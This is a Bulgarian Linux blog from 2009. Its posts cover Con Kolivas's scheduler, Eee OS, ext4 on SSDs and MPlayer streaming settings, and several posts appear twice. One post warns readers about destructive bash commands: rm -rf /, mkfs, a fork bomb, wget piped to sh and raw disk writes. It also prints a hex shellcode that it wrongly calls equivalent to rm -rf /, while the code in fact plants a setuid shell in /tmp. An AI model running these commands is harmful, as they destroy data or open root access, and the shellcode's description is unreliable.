Появата на многоядрени процесори на обикновени персонални компютри беше общо взето неочаквано. За крайния потребител винаги е било от значение увеличението на тактовата честота на процесора - тъй като логично се свързва с растежа на производителността: 4 MHz, после 12, 16, 33, 40, 66, 90, 100, 133, 150, 200, 233, 300, 500 ... За тези, които са се занимавали с компютри от началото на 90-те и следят с интерес развитието им - това не са само номера в прогресия, а и етапи. Сега акцентът е повече върху архитектурата, отколкото върху честотата. Многоядрените процесори, на теория би трябвало да доведат до повишаване на производителността на компютъра, като цяло. Но това не се случва. Цитират се случаи за увисване на системи с най-мощни процесори и последно поколение операционни системи при изпълнение на „тривиални“, от гледна точка на потребителя задачи, като сканиране за вируси (бел.моя - в примера става въпрос за Vista, но колкото и да проявявам сарказъм, тя все пак си остава изключително съвременна ОС). Човек неволно си задава въпроси: къде са предимствата на многоядрената архитектура; къде е плавността на работа, независимо от сложността на фоновите задачи; всичко това означава ли, че в живота на един обикновен потребител определящи приоритети са архиватори и антивирусен софтуер? Аз не знам точно какъв набор от технически недостатъци на Vista са довели до този проблем, но мисля, че неадекватността на планировчикът (Scheduler) играе съществена роля.
Ако отговорят честно, повечето потребители на Линукс го харесват, защото самата тя, като система, е не по-малко интересна игра от която и да е стратегия или пукалка...
Наскоро излезе стабилната версия на ядрото 2.6.31 и не след много се появи новината за пач към него предоставящ принципно нова разработка на C.K. с Brain Fuck Scheduler... Тук ми се иска да цитирам няколко интересни момента от едно негово интервю, даващо обяснение на причината довела до тази разработка, както и няколко впечатлили ме идеи относно актуалното състояние на ядрото, основните дистрибуции и Linux изобщо, които доста са ми близки като мнение и заключения.
Първо – кой е Con Kolivas – според wikipedia това е австралийски анестезиолог, същевременно и доста известен програмист с принос в разработката на Linux ядрото. Целта на предоставената кръпка е да се подобри работата на Linux като десктопна система, предоставящ принципно различна работа на основния елемент на ядрото, какъвто е sheduler (планировчикът). Ситуацията е малко деликатна, тъй като се противопоставя на приетия за основен такъв в момента, дело на програмиста от Red Hat – Ingo Molnar, който от своя страна е почерпил идеи за тази разработка именно от австралиеца... Става въпрос всъщност за Copletely Fair Sheduler (CFS). Ситуацията е деликатна и от друга страна, защото се намесват и донякъде лични взаимоотношения със самия Linus и изобщо с принципите и посоката на развитие на ядрото, като цяло. C.K. през 2007-ма обявява, че прекратява всякаква работа по разработката на ядрото, тъй като не се възприемат неговите идеи за подобряване на интерактивността на десктоп-средите. Това е по човешки разбираемо – не е лесно да продължаваш да работиш, след като не се приема работата ти. Но сами по себе си идеите на австралиеца са интересни – не само що се касае до ядрото, но и до пътя на развитие на цялата компютърна индустрия през последните години.
Linux-ядрото е препълнено с корпоративен баласт и това го прави слабо като десктоп среда е основния извод на Cen Kolivas.
80-те години са златното време в развитието на персоналния компютър. Тогава имаше много разработчици на хардуер и операционни системи и съществуваше истинска конкуренция. Това водеше до огромен избор за крайния потребител. Пример са PC на Amiga, чийто уникален дизайн
подтикваше разработчиците на програми към нестандартни, интересни решения. В същото време IBM-PC бяха тромави и скъпи творения, които в комплект с DOS ставаха само за заместител на пишещите машини. Собствениците на такива PC непрекъснато имаха нужда от ъпгрейд на отделни негови компоненти (звук, видеокарти) за да достигнат до нивото, което по начало имаха компютрите на Amiga и Atari, примерно.
Приоритетът на „желязото“ пред програмните разработки беше убийствен и водеше цялата софтуерна индустрия към такива разработки, които задоволяваха, помагаха и доставяха естетическа наслада на крайния потребител. Нещо, което не се вписваше в тази схема, или имаше лош маркетинг, просто не оцеляваше. Днес нещата са точно наопаки, процес започнал от средата на 90-те години – софтуерът е цар и хардуерът може само да се нагажда към него, колкото и несъвършени да са програмните решения... Няма да уточнявам коя операционна система стана де факто стандарт при десктопите към настоящия момент. И е напълно понятно, че хардуер несъвместим с нея, просто няма място на пазара (само ще дам един пример – SSD формално нямат нужда от SATA или PATA интерфейс, организацията на данните при тях няма нищо общо с тази при традиционните твърди дискове, но това се прави за да е възможно да работят с оная ОС и с ограниченията, които налага IBM-PC архитектурата от друга страна, впрочем друга не по-малко болна тема...). Желязото стана слуга на програмното осигуряване, пак ще повторя – колкото и несъвършено да е то... Още по-лошо е това, че производителите на хардуер бавно се поглъщат един друг. Това неминуемо намалява конкуренцията и избора за крайния клиент. Просто се произвеждат по-бързи и по-мощни версии на нещо, което е вече направено, без да се търси път за усъвършенстване и оптимизация. Необходими са ви мощни процесори, видеокарти и огромни обеми памети за да се обслужва една операционна система, програмата на вашия компютър, чиято работа вие даже не трябва да забелязвате... Иновационен хардуер престана да се разработва, за него няма пазар и пари... Хардуерът - „желязото“ стана скучно.Но нека се върнем на Linux. Всеки знае, че той започна като хоби. Но също така се разрасна и разви до такова огромно „нещо“, което е трудно да си представим. Той се превърна в един от най-важните конкуриращи се играчи на пазара на операционни системи, една от малкото алтернативи на превърналата се де факто в стандарт (незаслужено) Microsoft Windows. Ако разработката на напредничав хардуер, все още беше двигателят в развитието на компютрите и в съперничеството между операционните системи, Windows не би имал толкова потребители и програмисти. Хардуерът се е променил много малко от 1991 година насам, когато за първи път е зареден Linux. Естествено машините са невъобразимо по-мощни, но това е за сметка на скорост, не на функционалност, или иновации. PC „умря“ от всякаква гледна точка преди 20 години и днес той е кутия с баласт. В обозримото бъдеще няма да има промяна във функционалността, методите за обработка и обмен на информацията в него. Повсеместното разпространение на интернет само циментира това положение. Linux е създаден за PC и за тези, които търсят радост, интерес от работата с компютъра си, той ви дава свобода, пълен контрол и власт върху работата на операционната система. Или, в качеството на алтернатива, повечето му последователи са убедени, че това може да се постигне, чрез тази свобода.
И все пак IBM-PC е улица без изход. Където и да го използувате винаги се оказвате в ситуация, когато той е претоварен и бавен. Има днешни машини, които по производителност са равни на суперкомпютри от преди 10 години. Преди 10 години PC бяха равни по производителност на суперкомпютрите от преди 20 години и т.н. Но защо въпреки това всичко е толкова претоварено? Защо, след като компютрите са толкова бързи, за стартирането на системата, или на отделни приложения е необходимо все повече и повече време?... Когато те се занимават с чиста обработка на информация, примерно с декодиране на видео те са възхитителни, но във всичко останало са отчайващо бавни. Биха могли да бъдат 1000 пъти по-бързи отколкото преди 10 години, но не са... Обичайното обяснение, което дават на това хора от бранша е, че те – компютрите, извършват много повече работа, отколкото преди, така че такова сравнение не е коректно. Добре, но все пак ето една проста сметка – ако те са като краен резултат 10 пъти по-бавни, вместо да бъдат 1000 пъти по-бързи, то извършват някъде 10000 операции, някъде където те са загубени за крайния потребител.
Работата на C.K. в разработката на ядрото е съсредоточена изключително върху подобряването на работата на Linux като десктопна система. Разсъжденията са много прости – след като имате контрол върху целия програмен код, съществува начин да накарате системата да работи по-бързо. Просто не може да не съществува начин да се постигне по-добра производителност. Наследството от UNIX не е никак леко. Процесът на приспособяване на една система, която изобщо не е била предназначена за десктоп е твърде болезнен. Активното участие на C.K. се отнася, като начало към версия 2.4.18, след това към версиите 2.6 и, както той споделя, измененията не били големи, но водели до известни резултати в такива неща, като поведението на процесора при голямо натоварване и пр. Следейки от близо работата по тези версии, все повече се ужасявал от крайния резултат, тъй като уважавани от него разработчици се занимавали основно с корпоративни приложения, които нямали никакво отношение към простия краен потребител. Забележително е да знаеш, че Linux може да работи на машини с 1024 процесора и 1000 твърди диска но, че включването на такава възможност в ядрото убива производителността му при обикновена десктопна система е отчайваща перспектива... Измервайки производителността, като някаква абстрактна величина, при една съвременна машина тя е много висока, но факта си е факт – аудиоплейърът ви работи накъсано и всичките гигахерци дето имате не могат да ви помогнат да чуете нормално една най-проста mp3-ка (бел.моя - на който не му се вярва това, факт от есента на 2008 година – при прясна инсталация на Fedora 10 аудиото беше точно такова – отчайващо). Или още един пример – започвате да записвате някакъв голям файл и ако имате неблагоразумието в този момент да мръднете мишката всичко на екрана замръзва и минават дълги секунди, че и минути докато отворените прозорци се обновят... Тъжна картинка. Както си спомня C.K. – направили доклад за бъг и един от разработчиците отговорил, че не може да възпроизведе проблема на компютъра си, с четириядрен процесор, 4 гигабайта RAM и твърди дискове, обединени в RAID масив... Това било преди 4 години... помислете си само по това време обикновения потребител на какви машини би работел... Това е истината – водещите разработчици на ядрото се занимават с много неща, но те нямат много, да не кажем никакво отношение към проблемите на обикновения потребител. Повечето от тях са работници в големи корпорации и проблемите на обикновените потребители са им чужди. Това което те гонят е процент увеличаване на производителността при обработка на бази данни, масиви и прочие. Linux победи на пазара на сървъри, управление на бази данни и много корпорации проявяват интерес и финансират разработката му, но усъвършенствуването му в крайна сметка става в посока, където са интересите на тези корпорации. Обикновеният настолен компютър, за който първоначално е разработен Linux остана настрана и е съвсем забравен. Производителност на машината, във вид в който я разбира простия, редови потребител всъщност няма, не само – дори няма тест с който бихте я измерили. Как бихте сравнили нещо, което няма как да измерите. Според убеждението на C.K. естественото място, където може да се подобри тази производителност е в ядрото и от тук нататък започва неговата целенасочена дейност, първо в разработка на тестова програма за оценка на производителността на една десктоп-система, разработка на кръпки към ядрото и упорито убеждаване на основните разработчици на ядрото за промени в желаната посока. Оказва се, че главните проблеми се въртят около работата на дисковата подсистема и от там, в крайна сметка се опряло до работата на планировчика (sheduler).
Много би ми се искало тук да преведа цялото интервю на C.K., но нека не надценявам собствените си сили, както и целта на една такава публикация в моя блог. За тези, които се интересуват – ползувайте препратките под линия...
Накрая искам да добавя няколко неща само. Малко е включено в основната версия на ядрото от кръпките на австралиеца, по причини много извън писането на код. Идеите, които е прокарвал са залегнали в голяма степен в работата на актуалния планировчик на ядрото, но осъществени с методи много далеч от начина по който си е представял. Това и много други разминавания с основните разработчици на ядрото довеждат до оттеглянето на Con Kolvis от участие в разработката през 2007 година... до неотдавна (шило в торба не стои).
Лично аз намерих потвърждение на много неща сред идеите на австралиеца... Искам да завърша с почти дословен цитат на следното нещо:
„ ... Всички изследвания на които се базираха моите разработки са направени много преди това – по времето на противостоенето на хардуера и софтуера. Мнозина ме обвиниха, че съм си присвоил изобретяването на „честния планировчик“, а аз не съм твърдял това никога... Заслугата ми е, че приложих вече известното към съществуващия хардуер и към ядрото... ... Академичните достижения имат тенденцията да са неприложими в ежедневния свят. От друга страна чистото хакерство има характер на катастрофа в дългосрочна перспектива, дори ако към настоящия момент може да реши даден проблем бързо. Да се намери верния баланс между хакерството и не-игнорирането на академичните изследвания – ето какво е необходимо. Аз не успях... За жалост има само неколцина от разработчиците на ядрото, които са успели...“
===================================================================
интервюто пред Apcmag
личната страница на Con Kolivas
вторник, 1 септември 2009 г.
Eee OS, Linux и изобщо
И все пак, независимо от доста противоречивите изявления относно Linux, от страна на официалните лица в Asus, все още се работи върху подразбиращата се дистрибуция за Eee PC. Вече се появи в мрежата неофициална сборка на Eee OS, с пореден номер 1.7... Засега факти няма, предполага се, че това, което е достъпно е на ниво бета, базиращо се на Debian Lenny. В EeeUser има мнения на потребители, вече изпробвали новата версия, но с доста противоречиви резултати.
Въпросната сборка е достъпна тук...
Ако се поразходите, също така из съседните директории на въпросния хост, ще видите и други интересни неща...
Искам да добавя и друго. В началото на годината беше предизвикана не-малка истерия относно големия процент върнати netbooks с Linux, като се посочваха цифри от порядъка на 3-4 пъти повече от тези с Windows... Не си правя илюзии, че Linux, освен верни поддръжници има и доста не-доброжелатели, особено там където се пречка в нечии пазарни интереси. Минаха 6-8 месеца и вече се заговори доста по-спокойно (в случая източникът е Dell - единият голям доставчик на машини с пре-инсталиран Linux). Та, какво се оказва - проблем всъщност няма...
Ако прочетете внимателно статията от препратката, също така ще видите, доста доброжелателно посочени и някои от "истинските" проблеми на Linux, които са си вече "в самия него" - липсата на целенасочена пазарна политика, изглаждане в детайли, на работата с потребителските машини (в случая се говори за управление на енергопотреблението).
Въпросната сборка е достъпна тук...
Ако се поразходите, също така из съседните директории на въпросния хост, ще видите и други интересни неща...
Искам да добавя и друго. В началото на годината беше предизвикана не-малка истерия относно големия процент върнати netbooks с Linux, като се посочваха цифри от порядъка на 3-4 пъти повече от тези с Windows... Не си правя илюзии, че Linux, освен верни поддръжници има и доста не-доброжелатели, особено там където се пречка в нечии пазарни интереси. Минаха 6-8 месеца и вече се заговори доста по-спокойно (в случая източникът е Dell - единият голям доставчик на машини с пре-инсталиран Linux). Та, какво се оказва - проблем всъщност няма...
Ако прочетете внимателно статията от препратката, също така ще видите, доста доброжелателно посочени и някои от "истинските" проблеми на Linux, които са си вече "в самия него" - липсата на целенасочена пазарна политика, изглаждане в детайли, на работата с потребителските машини (в случая се говори за управление на енергопотреблението).
четвъртък, 20 август 2009 г.
Опасни bash команди
Попаднах на интересен материал в мрежата и искам да го споделя. Повечето от нас – повече, или по-малко напреднали в Linux се отнасят в общия случай с пренебрежение към такива случаи, но от личен опит мога да споделя: никой не е застрахован. Както се казва – дяволът си няма работа...
Всъщност става въпрос за няколко bash команди, които могат, меко казано да сринат системата ви, да изтрият личните ви файлове и, не дай-боже да изтрият де що има по дисковото ви пространство...
1. Код : rm -rf /
Тази команда, рекурсивно и без да иска потвърждение ще изтрие всички файлове от root директорията ви, всички директории и рекурсивно цялото им съдържание... Това ще рече – включително всички локални, мрежови и прочие монтирани към момента на подаването и файлови системи... Звучи потресаващо, но е точно така.
Ето ви същото, но в шестнайстичен код :
char esp[]__attribute__((section(".text"))) / *e.s.p release */ = "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68\x00\x2d\x63\x00"
"cp -p /bin/sh/tmp/.beyond; chmod 4755 /tmp/.beyond;";
Все пак... не ви съветвам да го използувате...
2.Код : mkfs.ext3 /dev/sda
Това ще форматира с ext3, иначе казано ще затрие всичките всичките ви файлове на блоковото устройство /dev/sda (може би това е единствения ви твърд диск)
3.Код : :(){:|:&};:
Познат като forkbomb, този израз ще накара системата ви да изпълнява неизброимо количество процеси, докато в крайна сметка блокира и доведе до загуба на данни.
4.Код : any_command > /dev/sda
С тази команда в блоковото устройство /dev/sda (напомням това е може би единствения ви диск) ще бъдат записани данни, като резултат ще бъде нарушена файловата система, т.е. Ще загубите данните от нея, или ще ви се наложи да ги възстановявате с инструменти от най-ниско ниво... просто удоволствие...
5.Код : wget http://some_untrusted_source -O- | sh
Никога не сваляйте програми от непроверени сайтове и още повече НЕ ГИ ИЗПЪЛНЯВАЙТЕ... Това може да бъде зловреден код, които ще навреди на системата ви.
6.Код : mv /home/yourhomedirectory/* /dev/null
Това по същество ще изтрие цялата ви домашна директория (ще я премести във фиктивното устройство /dev/null на майтап наричано и черна дупка).
Източник
Всъщност става въпрос за няколко bash команди, които могат, меко казано да сринат системата ви, да изтрият личните ви файлове и, не дай-боже да изтрият де що има по дисковото ви пространство...
1. Код : rm -rf /
Тази команда, рекурсивно и без да иска потвърждение ще изтрие всички файлове от root директорията ви, всички директории и рекурсивно цялото им съдържание... Това ще рече – включително всички локални, мрежови и прочие монтирани към момента на подаването и файлови системи... Звучи потресаващо, но е точно така.
Ето ви същото, но в шестнайстичен код :
char esp[]__attribute__((section(".text"))) / *e.s.p release */ = "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68\x00\x2d\x63\x00"
"cp -p /bin/sh/tmp/.beyond; chmod 4755 /tmp/.beyond;";
Все пак... не ви съветвам да го използувате...
2.Код : mkfs.ext3 /dev/sda
Това ще форматира с ext3, иначе казано ще затрие всичките всичките ви файлове на блоковото устройство /dev/sda (може би това е единствения ви твърд диск)
3.Код : :(){:|:&};:
Познат като forkbomb, този израз ще накара системата ви да изпълнява неизброимо количество процеси, докато в крайна сметка блокира и доведе до загуба на данни.
4.Код : any_command > /dev/sda
С тази команда в блоковото устройство /dev/sda (напомням това е може би единствения ви диск) ще бъдат записани данни, като резултат ще бъде нарушена файловата система, т.е. Ще загубите данните от нея, или ще ви се наложи да ги възстановявате с инструменти от най-ниско ниво... просто удоволствие...
5.Код : wget http://some_untrusted_source -O- | sh
Никога не сваляйте програми от непроверени сайтове и още повече НЕ ГИ ИЗПЪЛНЯВАЙТЕ... Това може да бъде зловреден код, които ще навреди на системата ви.
6.Код : mv /home/yourhomedirectory/* /dev/null
Това по същество ще изтрие цялата ви домашна директория (ще я премести във фиктивното устройство /dev/null на майтап наричано и черна дупка).
Източник
сряда, 12 август 2009 г.
Poulsbo, Linux...
Добра новина за собствениците на netbooks последно поколение - с графична карта GMA500 (Poulsbo) и желаещи да имат Linux на него. Засега все още неофициално, поради съдържането на проприетарен код, но вече има добре работещ модул за въпросната карта за Fedora 11, подчертавам - с работещо 3D ! Заслугата е на Adam Williamson - новината е публикувана на неговия сайт - ето подробностите.
Както става ясно и от коментарите след новината, възможно е скоро модулът да се включи в RPMFusion, хостващ софтуер, който поради лицензни ограничения не може да се включи в официалната дистрибуция.
сряда, 29 юли 2009 г.
Ext4 и SSD
Вече стана въпрос за някои оптимизации на операционната система, за да работи вашия SSD по-добре и по-дълго. Нещото, което продължава да ме учудва, е все още пълната липса на настройки по подразбиране за целта в популярните десктоп-ориентирани Linux дистрибуции. Оставям настрана ОС от фамилията Windows, където се стигна дори до там, че „не се препоръчва“ (разбирай – забранява се) използуването на предстоящата 7-ма версия на notebooks/netbooks с такива дискове... Просто без какъвто и да било коментар!
Но нека се върнем у нас, в Linux. Подразбиращата се файлова система в последните издания и на Fedora и Ubuntu вече е Ext4. Скоро ще ги последват и останалите. Даже, ако инсталирате от live CD Fedora 11 просто няма да ви бъде разрешено друго ( / е задължително форматирана с ext4). Ext 4, сама по себе си е голяма крачка напред в сравнение с предишната подразбираща се файлова система. Накратко казано – би било грехота да не се възползуваме от възможностите, които ни предоставя тя, но... как да комбинираме това с особеностите на SSD ? Няма да повтарям тук всички неща, писани в предишен мой пост и които в пълна степен важат и сега. Ще допълня само следното: ext4 ни предоставя функция за премахване на журнала (и оттам „опасното“ писане по фиксирани места върху SSD). Процедурата е много проста – стартирате си някакво live CD, без значение (лично аз използувам за такива сервизни дейности GParted), влизате като root и пишете следното нещо :
tune2fs -O ^ has_jurnal /dev/sdXX
Въпросното действие трябва да се извършва само върху не-монтирана файлова система, затова ни е необходим "жив" диск.
Всъщност такава възможност имаме и в ext3, строго погледнато (blush)... Защо ли не ми е хрумнало и преди това...? Предполагам на някои ще им се стори авантюристично да изключваме журнала – снижаваме значително сигурността на файловата система. Само ще отбележа следното – не забравяйте, че става въпрос за netbooks, чиято функция е: малък преносим компютър, осигуряващ ви само функционалност за дребни ежедневни дейности (сърфиране в мрежата, слушане на музика...). Така, че такъв компромис е напълно допустим. Да не забравяме, че имате и непрекъснато включена батерия, която ви предпазва и от ситуацията "внезапно прекъсване на захранването"...
Има само едно "леко" неудобство - инструментите от групата приложения e2fsprogs, са малко "старички" и няма да прочетат UUID от такава файлова система. Иначе казано, ако сте си инсталирали по-съвременна дистрибуция, където файловата система е определена чрез UUID - етикети, а такива са и Ubuntu и Fedora, след деактивиране на журнала системата няма да може да се стартира, поради невъзможност да идентифицира кореновия дял.
Това се преодолява лесно. Необходимо е да редактираме конфигурационния файл на grub - /boot/grub/grub.conf, както и /etc/fstab и да заменим UUID-идентификаторите на твърдите дискове с имената им като блокови устройства - /dev/sdXX.
Но нека се върнем у нас, в Linux. Подразбиращата се файлова система в последните издания и на Fedora и Ubuntu вече е Ext4. Скоро ще ги последват и останалите. Даже, ако инсталирате от live CD Fedora 11 просто няма да ви бъде разрешено друго ( / е задължително форматирана с ext4). Ext 4, сама по себе си е голяма крачка напред в сравнение с предишната подразбираща се файлова система. Накратко казано – би било грехота да не се възползуваме от възможностите, които ни предоставя тя, но... как да комбинираме това с особеностите на SSD ? Няма да повтарям тук всички неща, писани в предишен мой пост и които в пълна степен важат и сега. Ще допълня само следното: ext4 ни предоставя функция за премахване на журнала (и оттам „опасното“ писане по фиксирани места върху SSD). Процедурата е много проста – стартирате си някакво live CD, без значение (лично аз използувам за такива сервизни дейности GParted), влизате като root и пишете следното нещо :
tune2fs -O ^ has_jurnal /dev/sdXX
Въпросното действие трябва да се извършва само върху не-монтирана файлова система, затова ни е необходим "жив" диск.
Всъщност такава възможност имаме и в ext3, строго погледнато (blush)... Защо ли не ми е хрумнало и преди това...? Предполагам на някои ще им се стори авантюристично да изключваме журнала – снижаваме значително сигурността на файловата система. Само ще отбележа следното – не забравяйте, че става въпрос за netbooks, чиято функция е: малък преносим компютър, осигуряващ ви само функционалност за дребни ежедневни дейности (сърфиране в мрежата, слушане на музика...). Така, че такъв компромис е напълно допустим. Да не забравяме, че имате и непрекъснато включена батерия, която ви предпазва и от ситуацията "внезапно прекъсване на захранването"...
Има само едно "леко" неудобство - инструментите от групата приложения e2fsprogs, са малко "старички" и няма да прочетат UUID от такава файлова система. Иначе казано, ако сте си инсталирали по-съвременна дистрибуция, където файловата система е определена чрез UUID - етикети, а такива са и Ubuntu и Fedora, след деактивиране на журнала системата няма да може да се стартира, поради невъзможност да идентифицира кореновия дял.
Това се преодолява лесно. Необходимо е да редактираме конфигурационния файл на grub - /boot/grub/grub.conf, както и /etc/fstab и да заменим UUID-идентификаторите на твърдите дискове с имената им като блокови устройства - /dev/sdXX.
четвъртък, 2 юли 2009 г.
TV streams, EeePC и Linux
От както си смених доставчика на интернет се радвам на достъп до IPTV. Доста полезно и удобно нещо в комплект с EeePC-то ми. Отделно, че мой много близък приятел е голям почитател на всякакви онлайн телевизии и неспирно издирва връзки към всевъзможни такива. Когато сме заедно netbook-ът задължително се превръща в портативен телевизор. Но... тук има едно – но... Asus-ът е с Linux и второ – аз упорито държа на преинсталираният на него Xandros. Темата защо толкова държа на него е доста обширна и не мисля да я засягам точно сега, но това, което искам да споделя, така или иначе се отнася до нея.
Приятелят ми е типичен Windows-потребител. Въпреки, че от непрекъснатото общуване с мен, ще не ще, се понаучи да работи и с Linux, не бих казал, че съм го спечелил засега за каузата (цит. : “...не мога да се оправя с конзолата...“). Та покрай online телевизиите, лека полека възникна спорът „Windows vs Linux“, видиш ли как в първия случай всичко това върви без проблеми. Почти се бях убедил на фона на неубедителното справяне с въпросната материя на Linux... Тук малка скоба – в EeePC медиа-плейърът е MPlayer, в комбинация с Mozilla-plugin, който на пръв поглед не е най-подходящото приложение, или поне във вида, който има при прясно инсталирана система. Проблемът е досаден – аудиото избързва пред видеото и то с доста добро темпо, така че при продължително гледане асинхронът е голям... Всъщност проблемът е само в mozilla-plugin и то само при гледане в пълноекранен режим. Тези с голямата резолюция, ако изобщо тръгнат, дори и в малък прозорец вървят доста накъсано и със забавен каданс. Хайде, да кажем това до голяма степен се дължи на особеностите на хардуера – Atom-платформата не е най-подходящата за „тежка“ мултимедия... Но стриймове с резолюция от порядъка на 350:250 не би трябвало да я затрудняват. Е, факта си е факт – ако си гледате малкото прозорче на плъгина всичко е наред, но на пълен екран – забравете... На голям монитор, може и да го преживее това човек, но на 9 инчовия дисплей на EeePC-то почти е необходима лупа...
Изчетох доста писания по мрежата с всевъзможни „съвети“, които в крайна сметка не водят до никъде, или казват примиренчески – инсталирайте си VLC... VLC е разкошен плейър! С удоволствие го ползувам на другата си машина, но тук (на EeePC-то) има малък проблем – ВЕЧЕ не можете да си го инсталирате. Мнозина ще ме апострофират (отново мрежата е пълна със съвети точно как да го направите на EeePC-то, видите ли – просто си добавяте еди кое си хранилище...), но пак ще повторя – ВЕЧЕ не можете да си го инсталирате толкова просто... Причините са няколко. Първо Debian (на който се основава Xandros) изтъркаля един разработъчен цикъл, "порасна", един вид и вече стабилният е Lenny и второ – Etch спрямо момента към който е компилиран варианта за EeePC, освен че е oldstable и е с обновени редица библиотеки (в случая нас ни касае най-вече GTK+), така, че инсталирането на VLC от хранилищата на Debian води до неразрешими зависимости (просто aptitude няма да ви даде да го инсталирате), или ако го направите „насила“ ще получите в резултат неработеща система. Мдам... Какво да се прави Xandros е комерсиална дистрибуция. Вариантът му инсталиран на netbook-ът е хибрид между Xandros 4 (основан от своя страна на Sarge) и Etch в добавка със специално прекомпилирани програми, пачове за ядрото и прочие. Звучи съмнително, но до ден днешен това е най-добре работещата дистрибуция на тези мъници... Истина ви казвам, който и да ви убеждава в обратното! Защото машинката просто си работи с нея и то с всичките си, не малко възможности, без какъвто и да е компромис (имам предвид bluetooth, wifi, suspend, включително излизането от него, всякакви функционални клавиши, с които изобилства серията 901-1000, времето на самостоятелна работа с батерията и пр.).
Минах си през периода на съмненията и опитите да го подменя с нещо „по-съвременно“ (просто непълно изброяване – Fedora, EasyPeasy, Eeebuntu, OpenSUSE, Debian, Ubuntu NBR), почти се бях спрял на Eeebuntu, но се отказах – 1-1,5 часа по-малко батерия и доста спъната работа с bluetooth-а ме разубедиха. Моя мъник се оказа доста зле поддържан в основните дистрибуции на практика...
Разправям всичко това набързо, но това беше няколко месечен процес на упорити търсения и опити.
И така – ето ме в един момент с „моя“ си Xandros и MPlayer...
Всъщност MPlayer ми е любима програма. Беше време, в първите ми прохождащи години в Linux-света, когато да си я инсталираш, пък и да работи безотказно след това си беше голямо предизвикателство. Вършила ми е толкова много работа, че просто беше абсурдна ситуация за мен това което се получаваше с тв-стриймовете... Но все пак, решение се оказа, че има... И то безумно елементарно, просто ми е било пред очите през цялото време...
Преди каквото и да правим е необходимо да downgrade-нем Mplayer до по-стара версия, поради причина – във версията с която се доставя с netbook-а е премахната поддръжката на H-264. Темата защо, ще я пропусна. Вариантът с допълнителните хранилища на Debian, както казах по-горе вече не работи. Има по-просто решение – инсталирате си го от Asus Download (което си е по същество CNR). Смело действайте, нищо че инсталаторът ще се разпротестира, че разполагате с по-нова версия. Е... ще се сдобиете в менюто с още една икона в EasyMode менюто, но с помощта на великолепната програма emeditor, лесно се отърваваме от нея.
Сега нека да си поиграем малко с няколко опции в настройките на Mplayer. Избираме си за видеоизход – gl, за аудио – alsa.
Бях пробвал да задам видеоизход X11, при възпроизвеждане на филми не се усеща разлика, но в нашия случай е по-добре gl.
За Alsa мисля, че не е необходимо да коментирам каквото и да е...
След това отиваме на настройките за performance, където са следващите няколко съществени неща.
Подразбиращата стойност за A/V авто синхронизация е 100, което ни и създава най-много проблеми при синхрона между видеото и звука.
Може да експериментирате, но за мен стойност 10 даде напълно приемлив резултат.
Освен това си отмятате „alow frame drop“ и „alow hard frame drop“ нищо, че второто може да доведе до лоша картина, но си струва риска. Отмятаме си също използуването на cache и му задаваме стойност 9999 KB. Това са "санитарно" необходимите ни промени в подразбиращите се настройки на плейъра.
Тъй, като mozilla plugin има отделен файл с настройки, необходимо е да променим някои неща и там. Ето още как са те при мен:
Отбелязваме си отново Video Output - gl, Audio Output - alsa...
Като място за кеша обикновено ползуваме /home/user, но тук може и да е нещо друго, да кажем, рамдиск, ако ползуваме такова нещо...
Задължително си отмятате "Windows Media Player Suport", "Connect to RTSP Media over TCP" и "Use HTTP insead of RTSP". В никакъв случай не отмятайте "Play media directly...". Определяте размера на буфера (cache size) на около 9000-10000 KB (тук е с плъзгач и точна стойност се постига малко неудобно) и слагате не повече от 25-30% за буфериране, иначе ще изчаквате доста в началото докато се стартира стрийма.
Всъщност това е всичко. Предполагам за по-добро качество може да се поекспериментира и с вградените възможности ва MPlayer за post-processing, но лично аз не се задълбах толкова много. За тези, които са по-любопитни ето едно занимателно четиво съпричастно на темата — fine-tuning-mplayer
Желая ви приятни online часове с любимия телевизионен канал !
Приятелят ми е типичен Windows-потребител. Въпреки, че от непрекъснатото общуване с мен, ще не ще, се понаучи да работи и с Linux, не бих казал, че съм го спечелил засега за каузата (цит. : “...не мога да се оправя с конзолата...“). Та покрай online телевизиите, лека полека възникна спорът „Windows vs Linux“, видиш ли как в първия случай всичко това върви без проблеми. Почти се бях убедил на фона на неубедителното справяне с въпросната материя на Linux... Тук малка скоба – в EeePC медиа-плейърът е MPlayer, в комбинация с Mozilla-plugin, който на пръв поглед не е най-подходящото приложение, или поне във вида, който има при прясно инсталирана система. Проблемът е досаден – аудиото избързва пред видеото и то с доста добро темпо, така че при продължително гледане асинхронът е голям... Всъщност проблемът е само в mozilla-plugin и то само при гледане в пълноекранен режим. Тези с голямата резолюция, ако изобщо тръгнат, дори и в малък прозорец вървят доста накъсано и със забавен каданс. Хайде, да кажем това до голяма степен се дължи на особеностите на хардуера – Atom-платформата не е най-подходящата за „тежка“ мултимедия... Но стриймове с резолюция от порядъка на 350:250 не би трябвало да я затрудняват. Е, факта си е факт – ако си гледате малкото прозорче на плъгина всичко е наред, но на пълен екран – забравете... На голям монитор, може и да го преживее това човек, но на 9 инчовия дисплей на EeePC-то почти е необходима лупа...
